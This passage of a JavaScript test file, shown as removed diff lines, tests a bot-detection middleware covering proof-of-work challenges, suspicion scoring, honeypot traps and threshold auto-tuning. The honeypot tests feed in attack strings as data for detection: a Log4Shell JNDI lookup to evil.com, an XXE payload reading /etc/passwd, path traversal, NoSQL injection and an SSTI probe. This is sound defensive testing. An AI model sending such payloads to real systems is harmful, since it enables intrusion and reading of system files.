- status: vi.fn(() => res2),
718
- send: vi.fn(),
719
- };
720
-
721
- req2.fingerprint = {}; // Initialize req.fingerprint
722
- await middleware(req2, res2, vi.fn());
723
-
724
- // --- 5. Assertions ---
725
- expect(res2.redirect).toHaveBeenCalledWith(originalPath);
726
- expect(capturedCookie).toBeDefined();
727
- expect(capturedCookie.name).toBe('pow_clearance');
728
- }, 20000);
729
-
730
- it('should issue a short-lived probationary ticket when a moderately suspicious request solves a challenge', async () => {
731
- // --- SETUP ---
732
- // Ce test simule un flux complet en 2 étapes pour être plus réaliste.
733
- // 1. Une première requête suspecte est envoyée, ce qui déclenche l'émission d'un challenge.
734
- // 2. Le test résout ce challenge et envoie une seconde requête avec la solution.
735
- // 3. On vérifie que la réponse à la seconde requête est une redirection avec un cookie probatoire.
736
-
737
- const ip = '127.0.0.1';
738
- const probationaryTtl = 30000; // 30 seconds, as defined in fingerprint.js
739
- const solverFingerprint = 'fp-probation';
740
- const userAgent = 'test-ua';
741
-
742
- // --- ÉTAPE 1: Provoquer l'émission du challenge en simulant un score modéré ---
743
- // We mock getSuspicionVector to ensure the score is in the moderate range (>= low threshold).
744
- // This is more reliable than trying to manipulate the store.
745
- vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
746
- historyScore: 40, // This score is above the 'low' threshold of 20
747
- rotationScore: 0,
748
- headerAnomalyScore: 0,
749
- inconsistencyScore: 0,
750
- requestPatternScore: 0,
751
- honeypotScore: 0
752
- });
753
-
754
- const initialReq = {
755
- path: '/some-data', ip, cookies: {}, query: {},
756
- headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
757
- rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
758
- };
759
- let challengeBody;
760
- const initialRes = {
761
- status: () => initialRes,
762
- send: (body) => { challengeBody = body; },
763
- cookie: vi.fn()
764
- };
765
- const middleware = powMiddleware(securityConfig);
766
- await middleware(initialReq, initialRes, vi.fn());
767
-
768
- expect(challengeBody).toBeDefined();
769
- expect(challengeBody).toContain('Enhanced Verification');
770
-
771
- // --- ÉTAPE 2: Extraire les paramètres du challenge et le résoudre ---
772
- const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
773
- const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
774
- const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
775
- const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
776
-
777
- // The server stores the challenge context. We need to ensure the `baseBlock` is present for verification.
778
- const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
779
- await inMemoryStore.set(`secret:${nonce}`, {
780
- clientSecret: clientSecret,
781
- cpuTarget: cpuTargetHex,
782
- memDifficulty: memDifficulty,
783
- fingerprint: solverFingerprint, // The server expects this fingerprint.
784
- originalPath: '/some-data',
785
- baseBlock: baseBlock, // CRITICAL: The verification function needs this.
786
- suspicionScore: 40 // Store the score that triggered the challenge
787
- });
788
-
789
- // Client-side solving using the real solver function for accuracy
790
- const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
791
- const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
792
-
793
-
794
- // --- ÉTAPE 3: Soumettre la solution ---
795
- const submissionReq = {
796
- path: '/some-data', ip, cookies: {},
797
- query: {
798
- pow_type: 'cpu_mem',
799
- pow_nonce: nonce,
800
- pow_solution_cpu: String(cpuSolution),
801
- pow_solution_mem: String(memSolution),
802
- pow_fp: solverFingerprint // The client submits its fingerprint.
803
- },
804
- headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint }, rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
805
- };
806
-
807
- let capturedCookie;
808
- const submissionRes = {
809
- cookie: (name, value, options) => { capturedCookie = { name, value, options }; return submissionRes; },
810
- redirect: vi.fn(),
811
- // Add status and send to the mock to handle potential challenge re-issuance on failure
812
- status: vi.fn(function() { return this; }),
813
- send: vi.fn(),
814
- };
815
-
816
- submissionReq.fingerprint = {}; // Initialize req.fingerprint
817
- await middleware(submissionReq, submissionRes, vi.fn());
818
-
819
- // --- ÉTAPE 4: Assertions ---
820
- expect(submissionRes.redirect).toHaveBeenCalled();
821
- expect(capturedCookie).toBeDefined();
822
- expect(capturedCookie.name).toBe('pow_clearance');
823
- // The key assertion: the cookie's maxAge should be the short probationary TTL
824
- expect(capturedCookie.options.maxAge).toBe(probationaryTtl);
825
- }, 40000);
826
-
827
- test('should NOT redirect if PoW solution is valid but clientSecret is wrong', async () => {
828
- const ip = '127.0.0.1';
829
- const nonce = 'test-nonce-wrong-secret';
830
- const correctClientSecret = 'the-correct-secret'; // This is what the client gets and uses
831
- const wrongClientSecretOnServer = 'the-wrong-secret';
832
- const suspicionFactor = 0.1;
833
- const securityConfigWithLowDiff = {
834
- ...securityConfig,
835
- cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Merge configs correctly
836
- };
837
- const solverFingerprint = 'fp-test';
838
- const target = __internal.calculateTarget(suspicionFactor, securityConfigWithLowDiff);
839
- const baseBlock = new TextEncoder().encode(`${nonce}:${correctClientSecret}:${solverFingerprint}:`);
840
-
841
- // 1. Le client résout le challenge avec le secret qu'il a reçu (le bon)
842
- let solution = 0;
843
- // Client-side simulation: hash does NOT include IP when clientSecret is used.
844
- while (solution < 100000) { // Add a limit to prevent infinite loops in case of bad target
845
- const hash = createHash('sha256').update(Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))])).digest('hex');
846
- if (BigInt('0x' + hash) < target) break;
847
- solution++;
848
- }
849
-
850
- // 2. Le serveur, pour une raison quelconque (corruption, attaque), a un mauvais secret stocké
851
- await inMemoryStore.set(`secret:${nonce}`, {
852
- clientSecret: wrongClientSecretOnServer, // The secret is wrong
853
- cpuTarget: target.toString(16), // But the target is correct
854
- memDifficulty: 0,
855
- fingerprint: solverFingerprint, // Fingerprint is correct
856
- baseBlock: new TextEncoder().encode(`${nonce}:${wrongClientSecretOnServer}:${solverFingerprint}:`)
857
- });
858
-
859
- vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
860
- return {
861
- historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
862
- };
863
- });
864
-
865
- const req = {
866
- path: '/protected', ip, cookies: {},
867
- query: {
868
- pow_type: 'cpu_target', pow_nonce: nonce, pow_solution: solution, pow_fp: solverFingerprint
869
- },
870
- headers: { 'user-agent': 'test-ua' }, rawHeaders:[], httpVersion: '1.1'
871
- };
872
-
873
- let sentStatus, sentBody;
874
- const res = {
875
- status: (s) => { sentStatus = s; return res; },
876
- send: (b) => { sentBody = b; },
877
- redirect: vi.fn(), // On s'attend à ce que cette fonction ne soit PAS appelée
878
- cookie: vi.fn()
879
- };
880
- const next = vi.fn();
881
-
882
- req.fingerprint = {};
883
- await powMiddleware(securityConfigWithLowDiff)(req, res, next);
884
-
885
- expect(res.redirect).not.toHaveBeenCalled();
886
- // An invalid solution is a strong bot signal (honeypotScore=100), which should trigger a block.
887
- expect(sentStatus, 'Should return status 404 to block the request').toBe(404);
888
- expect(sentBody, 'Should send a Forbidden message').toBe('Forbidden');
889
- // Use the same fallback logic as the engine: default block threshold is 95 if not specified.
890
- const blockThreshold = securityConfigWithLowDiff.thresholds.block ?? 95;
891
- expect(req.fingerprint.score).toBeGreaterThanOrEqual(blockThreshold);
892
- });
893
-
894
- test('should redirect after a valid COMBINED (CPU+Mem) PoW solution is provided', async (context) => {
895
-
896
- });
897
- });
898
-
899
- describe('Suspicion Scoring Logic (Integration)', () => {
900
- const inMemoryStore = {
901
- _map: new Map(),
902
- async get(key) { return this._map.get(key); },
903
- async set(key, value) { this._map.set(key, value); },
904
- };
905
- beforeEach(() => {
906
- inMemoryStore._map.clear();
907
- configureStore(inMemoryStore);
908
- // Add a default mock for getTlsFingerprint to stabilize these tests.
909
- // This needs to spy on the actual function, not the __internal export.
910
- vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
911
- ja3: 'mock-ja3',
912
- ja4: 'mock-ja4'
913
- });
914
- });
915
-
916
- test('should produce a high historyScore for rapid IP rotation', async () => {
917
- const req = {
918
- headers: {
919
- 'user-agent': 'test',
920
- 'x-device-fingerprint': 'cvs:123|gpu:456|hw:789' // Simulate client-side FP
921
- },
922
- cookies: {}, ip: '1.1.1.1', path: '/', query: {}, rawHeaders: ['User-Agent', 'test']
923
- };
924
- const res = { cookie: vi.fn() };
925
- // Simulate a device using many IPs
926
- const deviceData = { initialDeviceHash: 'hash1', ips: new Set(['1.1.1.2', '1.1.1.3', '1.1.1.4', '1.1.1.5', '1.1.1.6']), lastUpdate: Date.now(), lastFpHash: 'hash1', lastChangeTimestamp: 0, rapidChangeCount: 0 };
927
- await inMemoryStore.set('device:test-device-id', deviceData);
928
- req.cookies.device_id = 'test-device-id';
929
-
930
- // We need an engine instance to hold the security config for the context
931
- const securityConfig = {
932
- weights: { historyScore: 1.0 },
933
- thresholds: { low: 20 },
934
- };
935
- const engine = new FingerprintEngine(securityConfig);
936
-
937
- req.fingerprint = {}; // Initialize req.fingerprint
938
- const vector = await __internal.getSuspicionVector(req, securityConfig);
939
- expect(vector.historyScore).toBeGreaterThan(20);
940
- });
941
-
942
- test('should produce a high honeypotScore for a trapped URL parameter', async () => {
943
- // Configure the honeypot to trap the 'debug' parameter
944
- const securityConfigWithHoneypot = {
945
- weights: { honeypotScore: 1.0 },
946
- thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
947
- honeypot: { // Configuration complète
948
- fields: ['email_confirm', 'debug']
949
- }
950
- };
951
- const engine = new FingerprintEngine(securityConfigWithHoneypot);
952
-
953
- const requestContext = {
954
- clientIp: '1.1.1.1',
955
- path: '/',
956
- cookies: {},
957
- query: new URLSearchParams({ user_id: '123', debug: 'true' }), // Bot is probing with a 'debug' parameter
958
- body: {},
959
- headers: { 'User-agent': 'test' },
960
- rawHeaders: ['User-Agent', 'test'],
961
- httpVersion: '1.1',
962
- isStatic: false
963
- };
964
-
965
- requestContext.fingerprint = {}; // Initialize req.fingerprint
966
- // Call the main engine processing method to get the full decision object
967
- const decision = await engine.processRequest(requestContext);
968
- console.log({decision})
969
-
970
- // The honeypotScore should be 100 because the 'debug' parameter was found
971
- expect(decision.vector.honeypotScore).toBe(100);
972
- expect(decision.score).toBe(100); // With weight 1.0, the final score should also be 100
973
- });
974
-
975
- test('should produce a high honeypotScore for RCE attempt in body', async () => {
976
- const securityConfig = {
977
- weights: { honeypotScore: 1.0 },
978
- thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
979
- honeypot: { detectInjections: true } // Configuration complète
980
- };
981
- const engine = new FingerprintEngine(securityConfig);
982
- const requestContext = {
983
- query: {},
984
- path: '/',
985
- body: { filename: "../../../etc/passwd" },
986
- headers: { 'user-agent': 'test' },
987
- // ... autres propriétés du contexte
988
- };
989
-
990
- requestContext.fingerprint = {}; // Initialize req.fingerprint
991
- const decision = await engine.processRequest(requestContext);
992
- expect(decision.vector.honeypotScore).toBe(100);
993
- expect(decision.score).toBe(100);
994
- });
995
-
996
- test('should produce a high honeypotScore for NoSQL injection attempt in body', async () => {
997
- const securityConfig = {
998
- weights: { honeypotScore: 1.0 },
999
- thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
1000
- honeypot: { detectInjections: true } // Configuration complète
1001
- };
1002
- const engine = new FingerprintEngine(securityConfig);
1003
- const requestContext = {
1004
- query: {},
1005
- path: '/',
1006
- body: { "username": { "$ne": null }, "password": { "$ne": null } },
1007
- headers: { 'user-agent': 'test' },
1008
- // ... autres propriétés du contexte
1009
- };
1010
-
1011
- requestContext.fingerprint = {}; // Initialize req.fingerprint
1012
- const decision = await engine.processRequest(requestContext);
1013
- expect(decision.vector.honeypotScore).toBe(100);
1014
- expect(decision.score).toBe(100);
1015
- });
1016
-
1017
- test('should produce a zero honeypotScore for a normal request', async () => {
1018
- const securityConfig = {
1019
- weights: { honeypotScore: 1.0 },
1020
- thresholds: { low: 20, medium: 45, high: 75 },
1021
- // Explicitly disable the new device challenge for this test to ensure a score of 0 is possible.
1022
- challengeNewDevices: false,
1023
- honeypot: { detectInjections: true } // Configuration complète
1024
- };
1025
- const engine = new FingerprintEngine(securityConfig);
1026
- const requestContext = {
1027
- query: new URLSearchParams({ id: "123" }),
1028
- body: { comment: "This is a normal comment." },
1029
- headers: { 'user-agent': 'test' },
1030
- path: '/'
1031
- };
1032
- requestContext.fingerprint = {}; // Initialize req.fingerprint
1033
- const decision = await engine.processRequest(requestContext);
1034
- expect(decision.vector.honeypotScore).toBe(0); // Le score honeypot doit être 0
1035
- });
1036
- });
1037
-
1038
- describe('Threshold Auto-Tuning', () => {
1039
- let setIntervalSpy, clearIntervalSpy, consoleLogSpy;
1040
-
1041
- beforeEach(() => {
1042
- setIntervalSpy = vi.spyOn(global, 'setInterval');
1043
- clearIntervalSpy = vi.spyOn(global, 'clearInterval');
1044
- consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {});
1045
- });
1046
- afterEach(() => {
1047
- vi.restoreAllMocks();
1048
- stopThresholdAutoTuning(); // Ensure cleanup after each test
1049
- });
1050
-
1051
- test('should start, run an optimization cycle, and update thresholds', () => {
1052
- const trafficData = [];
1053
- const securityConfig = {
1054
- thresholds: { low: 50, medium: 70, high: 90 }, // Mauvais seuils initiaux intentionnels
1055
- weights: { historyScore: 0.5, rotationScore: 0.5, requestPatternScore: 0.5 }, // Poids initiaux
1056
- patterns: { velocityThreshold: 1000, decayFactor: 0.9 }, // Patterns initiaux
1057
- logger: (log) => trafficData.push(log),
1058
- };
1059
-
1060
- // Generate mock data where optimal 'low' threshold is around 25
1061
- // Bots with low scores (false negatives)
1062
- for (let i = 0; i < 50; i++) {
1063
- const score = 15 + Math.random() * 5;
1064
- trafficData.push({ type: 'challenge_issued', deviceId: `bot-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
1065
- }
1066
- // Humans with slightly higher scores (false positives)
1067
- for (let i = 0; i < 50; i++) {
1068
- const score = 30 + Math.random() * 5;
1069
- trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
1070
- }
1071
- // Solved challenges (clear humans)
1072
- for (let i = 0; i < 20; i++) {
1073
- const score = 40;
1074
- trafficData.push({ type: 'challenge_solved', deviceId: `human-solver-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
1075
- }
1076
-
1077
-
1078
- startThresholdAutoTuning({
1079
- securityConfig,
1080
- trafficData,
1081
- interval: 60000, // 1 minute
1082
- minDataPoints: 100,
1083
- });
1084
-
1085
- // Manually trigger the optimization cycle
1086
- const intervalCallback = setIntervalSpy.mock.calls[0][0];
1087
- intervalCallback();
1088
-
1089
- // The genetic algorithm should find better thresholds.
1090
- // We expect 'low' to decrease significantly from 50.
1091
- // With inertia, the change is gradual. We check that it has decreased but not jumped to the final value.
1092
- expect(securityConfig.thresholds.low).toBeLessThan(50); // It must have decreased.
1093
- expect(securityConfig.thresholds.low).toBeGreaterThan(30); // It shouldn't have jumped all the way down.
1094
- expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Nouvelle configuration de sécurité optimisée appliquée.'));
1095
- expect(setIntervalSpy).toHaveBeenCalledTimes(1);
1096
-
1097
- // Stop the tuner and check if the interval is cleared
1098
- stopThresholdAutoTuning();
1099
- expect(clearIntervalSpy).toHaveBeenCalled();
1100
- });
1101
-
1102
- test('should not run optimization if data points are insufficient', () => {
1103
- const trafficData = [];
1104
- const securityConfig = {
1105
- thresholds: { low: 20, medium: 45, high: 75 },
1106
- weights: {}, // Add missing properties to prevent TypeError
1107
- patterns: {}, // Add missing properties to prevent TypeError
1108
- logger: (log) => trafficData.push(log),
1109
- };
1110
-
1111
- // Generate only 50 data points, less than the minimum of 100
1112
- for (let i = 0; i < 50; i++) {
1113
- const score = 10;
1114
- trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score } });
1115
- }
1116
-
1117
- startThresholdAutoTuning({
1118
- securityConfig,
1119
- trafficData,
1120
- interval: 60000,
1121
- minDataPoints: 100,
1122
- });
1123
-
1124
- // Manually trigger the cycle
1125
- const intervalCallback = setIntervalSpy.mock.calls[0][0];
1126
- intervalCallback();
1127
-
1128
- // Check that optimization was postponed
1129
- expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Reporté'));
1130
- // Thresholds should not have changed
1131
- expect(securityConfig.thresholds).toEqual({ low: 20, medium: 45, high: 75 });
1132
-
1133
- // Add more data to meet the minDataPoints and MIN_CONFIDENCE_RATIO thresholds
1134
- // 1. Add enough low-confidence data to reach the minDataPoints
1135
- for (let i = 0; i < 45; i++) { // Add 45 more to reach 95
1136
- const score = 10;
1137
- trafficData.push({ type: 'request_passed', deviceId: `human-new-${i}`, score, vector: { historyScore: score } });
1138
- }
1139
- // 2. Add high-confidence data to pass the ratio check (5% of 100 is 5)
1140
- for (let i = 0; i < 5; i++) {
1141
- const score = 30;
1142
- trafficData.push({ type: 'challenge_solved', deviceId: `solver-${i}`, score, vector: { historyScore: score } });
1143
- }
1144
-
1145
- // Trigger again
1146
- intervalCallback();
1147
- // Now that both conditions (minDataPoints and confidence ratio) are met, optimization should start.
1148
- expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Démarrage du cycle d\'optimisation'));
1149
- });
1150
- });
1151
-
1152
-
1153
- describe('getHoneypotScore Advanced Detections', () => {
1154
- // Helper to run tests through the real FingerprintEngine
1155
- beforeEach(() => {
1156
- vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: 'mock-ja3', ja4: 'mock-ja4' });
1157
- });
1158
-
1159
- const getHoneypotScoreFromEngine = async (context, honeypotConfig) => {
1160
- const securityConfig = {
1161
- weights: { honeypotScore: 1.0 }, // Isolate honeypot score
1162
- thresholds: { low: 1, medium: 2, high: 3 }, // Configuration complète
1163
- honeypot: honeypotConfig, // Configuration complète
1164
- };
1165
- // The engine expects a full request context. We build one here.
1166
- const fullContext = {
1167
- clientIp: '127.0.0.1',
1168
- path: '/',
1169
- query: {},
1170
- cookies: {},
1171
- headers: { 'user-agent': 'test' },
1172
- ...context, // Spread the test-specific context (body, headers)
1173
- };
1174
- const engine = new FingerprintEngine(securityConfig);
1175
- const decision = await engine.processRequest(fullContext);
1176
- return { honeypotScore: decision.vector.honeypotScore };
1177
- };
1178
-
1179
- it('should detect Log4Shell injection attempts', async () => {
1180
- const context = { body: { username: 'test', comment: 'Hello ${jndi:ldap://evil.com/a}' } };
1181
- // Explicitly enable the check for this test
1182
- const config = { detectInjections: ['log4shell'], fields: [] };
1183
- expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
1184
- });
1185
-
1186
- it('should detect Server-Side Template Injection (SSTI)', async () => {
1187
- const context = { query: { name: '{{ 7*7 }}' } };
1188
- // Explicitly enable the check for this test
1189
- const config = { detectInjections: ['ssti'], fields: [] };
1190
- expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
1191
- });
1192
-
1193
- it('should detect XML External Entity (XXE) injection', async () => {
1194
- const context = { body: { xml_payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' } };
1195
- // Explicitly enable the check for this test
1196
- const config = { detectInjections: ['xxe'], fields: [] };
1197
- expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
1198
- });
1199
-
1200
- it('should NOT detect human-like field interaction order', async () => {
1201
- const context = {
1202
- body: { username: 'human', password: 'password123' },
1203
- headers: { 'x-form-interaction': 'password,username' } // Ordre inversé
1204
- };
1205
- const config = { checkFieldOrder: true, fields: [] };
1206
- expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
1207
- });
1208
-
1209
- it('should not trigger on legitimate requests', async () => {
1210
- const context = {
1211
- body: { username: 'legit', comment: 'This is a normal comment.' },
1212
- headers: { 'x-form-interaction': 'username,comment' }
1213
- };
1214
- const config = { detectInjections: true, checkFieldOrder: true, fields: [] };
1215
- expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
1216
- });
1217
- });
1218
-
1219
- describe('Honeypot Scenarios', () => {
1220
- const inMemoryStore = {
1221
- _map: new Map(),
1222
- async get(key) { return this._map.get(key); },
1223
- async set(key, value) { this._map.set(key, value); },
1224
- async has(key) { return this._map.has(key); },
1225
- async delete(key) { this._map.delete(key); },
1226
- };
1227
-
1228
- beforeEach(() => {
1229
- inMemoryStore._map.clear();
1230
- configureStore(inMemoryStore);
1231
- vi.restoreAllMocks();
1232
- // Add a default mock for getTlsFingerprint to stabilize these tests.
1233
- // This needs to spy on the actual function, not the __internal export.
1234
- vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
1235
- ja3: 'mock-ja3', ja4: 'mock-ja4'
1236
- });
1237
- });
1238
-
1239
- const baseSecurityConfig = {
1240
- weights: { historyScore: 0.1, rotationScore: 0.1, headerAnomalyScore: 0.1, inconsistencyScore: 0.1, honeypotScore: 1.0 },
1241
- thresholds: { low: 20, medium: 45, high: 75, block: 95 },
1242
- honeypot: {
1243
- fields: ['email_confirm'],
1244
- trapUrls: ['/wp-admin', '/.env'],
1245
- detectInjections: true
1246
- }
1247
- };
1248
-
1249
- it('should immediately block a request to a trap URL', async () => {
1250
- const engine = new FingerprintEngine(baseSecurityConfig);
1251
- const requestContext = {
1252
- clientIp: '1.1.1.1',
1253
- path: '/wp-admin/login.php', // Hitting a trap URL
1254
- cookies: {},
1255
- query: {},
1256
- body: {},
1257
- headers: { 'user-agent': 'A regular browser' },
1258
- rawHeaders: ['user-agent', 'A regular browser'],
1259
- isStatic: false,
1260
- };
1261
-
1262
- const decision = await engine.processRequest(requestContext);
1263
-
1264
- expect(decision.vector.honeypotScore).toBe(100);
1265
- expect(decision.score).toBeGreaterThanOrEqual(100);
1266
- expect(decision.action).toBe('block');
1267
- expect(decision.status).toBe(404);
1268
- });
1269
-
1270
- it('should penalize direct challenge probing', async () => {
1271
- const engine = new FingerprintEngine(baseSecurityConfig);
1272
- // This request is not suspicious on its own...
1273
- vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
1274
- historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0
1275
- });
1276
-
1277
- const requestContext = {
1278
- clientIp: '1.1.1.1',
1279
- path: '/',
1280
- cookies: {},
1281
- query: { pow_nonce: 'some-nonce-the-bot-is-testing' }, // ...but it's probing a challenge endpoint.
1282
- body: {},
1283
- headers: { 'user-agent': 'A regular browser' },
1284
- rawHeaders: ['user-agent', 'A regular browser'],
1285
- isStatic: false,
1286
- };
1287
-
1288
- const decision = await engine.processRequest(requestContext);
1289
-
1290
- // The engine should detect the probe and assign a max honeypot score.
1291
- expect(decision.vector.honeypotScore).toBe(100);
1292
- expect(decision.score).toBeGreaterThanOrEqual(100);
1293
- // The action should be to block the request.
1294
- expect(decision.action).toBe('block');
1295
- });
1296
-
1297
- it('should persist the "condemned" status of a device across requests', async () => {
1298
- const engine = new FingerprintEngine(baseSecurityConfig);
1299
- const deviceId = 'condemned-device-123';
1300
-
1301
- // Step 1: The device hits a trap URL and gets condemned.
1302
- const trapRequestContext = { // This context is for conceptual setup, not direct processing in this test
1303
- clientIp: '1.1.1.1',
1304
- path: '/.env', // Trap URL
1305
- cookies: { device_id: deviceId },
1306
- query: {}, body: {}, headers: { 'user-agent': 'A regular browser' }, isStatic: false,
1307
- };
1308
-
1309
- // We need to store the initial device data for the condemnation to stick.
1310
- await inMemoryStore.set(`device:${deviceId}`, {
1311
- initialDeviceHash: 'any-hash',
1312
- ips: new Set(['1.1.1.1']),
1313
- lastUpdate: Date.now(),
1314
- lastFpHash: 'any-hash',
1315
- lastChangeTimestamp: 0,
1316
- rapidChangeCount: 0,
1317
- condemned: true // This is the key part
1318
- });
1319
-
1320
- // Step 2: The same device makes a new, seemingly innocent request.
1321
- const innocentRequestContext = {
1322
- clientIp: '1.1.1.1',
1323
- path: '/legitimate-page', // Normal URL
1324
- cookies: { device_id: deviceId }, // Same device ID
1325
- query: new URLSearchParams(), body: {}, headers: { 'user-agent': 'A regular browser' }, rawHeaders: ['user-agent', 'A regular browser'], isStatic: false,
1326
- };
1327
-
1328
- const decision = await engine.processRequest(innocentRequestContext);
1329
-
1330
- // The honeypot score should still be 100 due to the persisted "condemned" status.
1331
- expect(decision.vector.honeypotScore).toBe(100);
1332
- expect(decision.action).toBe('block');
1333
- });
1334
-
1335
- it('should use external analyzers to detect threats', async () => {
1336
- const customAnalyzer = vi.fn((data) => {
1337
- // This analyzer flags any request containing the word 'custom-threat'
1338
- return JSON.stringify(data).includes('custom-threat');
1339
- });
1340
-
1341
- const securityConfigWithAnalyzer = {
1342
- // On crée une config locale pour ce test pour éviter les interférences
1343
- weights: baseSecurityConfig.weights,
1344
- thresholds: baseSecurityConfig.thresholds,
1345
- // Pour ce test, on désactive le challenge des nouveaux appareils pour isoler le comportement de l'analyseur.
1346
- // Cela empêche une requête propre d'être challengée juste parce qu'elle est nouvelle.
1347
- challengeNewDevices: false,
1348
- honeypot: { // Configuration complète
1349
- ...baseSecurityConfig.honeypot,
1350
- analyzers: [customAnalyzer]
1351
- }
1352
- };
1353
-
1354
- const engine = new FingerprintEngine(securityConfigWithAnalyzer);
1355
-
1356
- // 1. Test a request that should be flagged by the analyzer
1357
- const maliciousRequestContext = {
1358
- clientIp: '1.1.1.1',
1359
- path: '/some-path',
1360
- cookies: {},
1361
- query: {},
1362
- body: { comment: 'this is a custom-threat' },
1363
- headers: { 'user-agent': 'A regular browser' },
1364
- rawHeaders: ['user-agent', 'A regular browser'],
1365
- isStatic: false,
1366
- };
1367
-
1368
- const decisionMalicious = await engine.processRequest(maliciousRequestContext);
1369
-
1370
- expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a custom-threat' });
1371
- expect(decisionMalicious.vector.honeypotScore).toBe(100);
1372
- expect(decisionMalicious.action).toBe('block');
1373
-
1374
- // 2. Test a normal request that should not be flagged
1375
- const cleanRequestContext = {
1376
- clientIp: '2.2.2.2',
1377
- path: '/some-path',
1378
- cookies: {},
1379
- query: {},
1380
- body: { comment: 'this is a normal comment' },
1381
- headers: { 'user-agent': 'A regular browser', 'accept-language': 'en-US,en;q=0.9' },
1382
- rawHeaders: ['user-agent', 'A regular browser', 'accept-language', 'en-US,en;q=0.9'],
1383
- isStatic: false,
1384
- };
1385
-
1386
- const decisionClean = await engine.processRequest(cleanRequestContext);
1387
-
1388
- expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a normal comment' });
1389
- // The honeypot score should be 0 as no other traps were triggered
1390
- expect(decisionClean.vector.honeypotScore).toBe(0);
1391
- });
1392
- });
1393
-
1394
- describe('getBehaviorScore', () => {
1395
- // La fonction est privée, on la récupère via l'export __internal
1396
- // FIX: Correctly assign the function before tests run.
1397
- beforeEach(() => {
1398
- getBehaviorScore = fingerprint.__internal.getBehaviorScore;
1399
- });
1400
-
1401
- beforeEach(() => {
1402
- getBehaviorScore = fingerprint.__internal.getBehaviorScore;
1403
- });
1404
-
1405
- it('should return a score of 0 when x-behavior-metrics header is missing', () => {
1406
- const context = { headers: {} };
1407
- const { behaviorScore } = getBehaviorScore(context);
1408
- expect(behaviorScore).toBe(0);
1409
- });
1410
-
1411
- it('should return a score of 100 for honeypot interaction', () => {
1412
- const metrics = { honeypotInteraction: true, mouseEntropy: 50, keystrokeLatency: 120 };
1413
- const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1414
- const { behaviorScore } = getBehaviorScore(context);
1415
- expect(behaviorScore).toBe(100);
1416
- });
1417
-
1418
- it('should return a score of 40 for no mouse or keyboard activity', () => {
1419
- const metrics = { honeypotInteraction: false, mouseMovementsHistory: [], keystrokeLatency: 0 };
1420
- const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1421
- const { behaviorScore } = getBehaviorScore(context);
1422
- expect(behaviorScore).toBe(40);
1423
- });
1424
-
1425
- it('should return a score of 0 for normal user activity', () => {
1426
- // Données de test avec un mouvement moins linéaire pour éviter la pénalité de "rectitude"
1427
- const metrics = {
1428
- honeypotInteraction: false,
1429
- mouseMovementsHistory: [{x:10,y:10,t:1},{x:12,y:15,t:100},{x:18,y:12,t:200},{x:25,y:25,t:300}],
1430
- keystrokeLatency: 88.2
1431
- };
1432
- const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1433
- const { behaviorScore } = getBehaviorScore(context);
1434
- expect(behaviorScore).toBeLessThan(10); // Le score ne sera pas exactement 0, mais il devrait être très bas.
1435
- });
1436
-
1437
- it('should return a score of 10 for a malformed header', () => {
1438
- const context = { headers: { 'x-behavior-metrics': 'this is not json' } };
1439
- const { behaviorScore } = getBehaviorScore(context);
1440
- expect(behaviorScore).toBe(10);
1441
- });
1442
- });
1443
-
1444
